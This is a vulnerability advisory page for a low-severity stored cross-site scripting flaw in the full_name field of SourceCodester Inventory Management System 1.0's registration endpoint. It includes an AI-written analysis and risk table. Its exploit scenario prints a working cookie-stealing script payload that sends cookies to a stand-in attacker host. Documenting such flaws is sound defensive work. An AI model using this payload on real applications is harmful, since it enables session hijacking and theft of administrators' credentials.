3DescriptionCVE.org
A vulnerability was detected in SourceCodester Inventory Management System 1.0. Impacted is an unknown function of the file /api/users_handler.php of the component User Registration Endpoint. Performing a manipulation of the argument full_name results in cross site scripting. The attack is possible to be carried out remotely. The exploit is now public and may be used.
AnalysisAI
Stored cross-site scripting in SourceCodester Inventory Management System 1.0 allows a low-privileged remote attacker to inject arbitrary JavaScript via the full_name parameter of the User Registration Endpoint at /api/users_handler.php. When a privileged user such as an administrator subsequently views the stored user data, the malicious script executes in their browser context, enabling session hijacking, credential theft, or UI redress. …

Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | The attacker must possess a low-privileged account on the SourceCodester Inventory Management System instance (PR:L per CVSS vector) - this could be a self-registered account if open registration is enabled, or a legitimately issued low-trust credential. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 4.0 score of 2.0 reflects genuinely low severity: PR:L requires at least a low-privileged account, UI:P requires passive interaction from a second user, and the integrity impact is rated VI:L with no confidentiality or availability impact recorded in the provided vector. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker with a low-privileged account submits a user registration request to `/api/users_handler.php` with a crafted `full_name` value such as `<script>document.location='https://attacker.example/steal?c='+document.cookie</script>`. The payload is stored in the application database. … |
| Remediation | No vendor-released patch has been identified at time of analysis. … Detailed patch versions, workarounds, and compensating controls in full report. |
